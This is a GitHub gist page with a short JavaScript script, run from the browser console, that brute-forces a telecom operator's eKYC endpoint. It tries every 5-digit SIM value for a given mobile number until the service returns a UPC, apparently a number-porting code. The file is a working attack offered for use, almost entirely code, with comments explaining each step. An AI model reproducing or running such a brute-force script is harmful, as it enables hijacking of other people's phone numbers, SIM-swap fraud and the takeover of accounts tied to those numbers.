Skip to content

Instantly share code, notes, and snippets.

@neophyt3
Created April 1, 2018 18:54
Show Gist options
  • Save neophyt3/ccb1fea9b47ecd1ae57c3a054e57c5d6 to your computer and use it in GitHub Desktop.
Save neophyt3/ccb1fea9b47ecd1ae57c3a054e57c5d6 to your computer and use it in GitHub Desktop.

Revisions

  1. neophyt3 created this gist Apr 1, 2018.
    27 changes: 27 additions & 0 deletions generateUPC.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    //https://ekyc.aircel.com:444/ekyc/genUPC.html
    //this site uses angularjs
    //let take advantage of developer tools console tab
    //lets grab the http service of anugular js
    $http = angular.element(document.body).injector().get('$http')

    //so now, lets have a handy function to send post request
    //returns promise
    function sendPost(simnum){ return $http.post('https://ekyc.aircel.com:444/ekyc/rest/genUPC', {"service_id":"WEB_UPC","msisdn":"919768XXXXXX","sim":simnum})}

    //now we can take advantage of es6 async/await to synchronously loop..
    async function loop() {
    //5 digit sim
    for (let i = 10000; i < 99999; i++) {
    let res = await sendPost(i)
    console.log(i);
    //if found.. print it and exit
    if(res.data.upc){
    console.log(res.data.upc)
    break
    }
    }
    }

    // now we begin
    loop()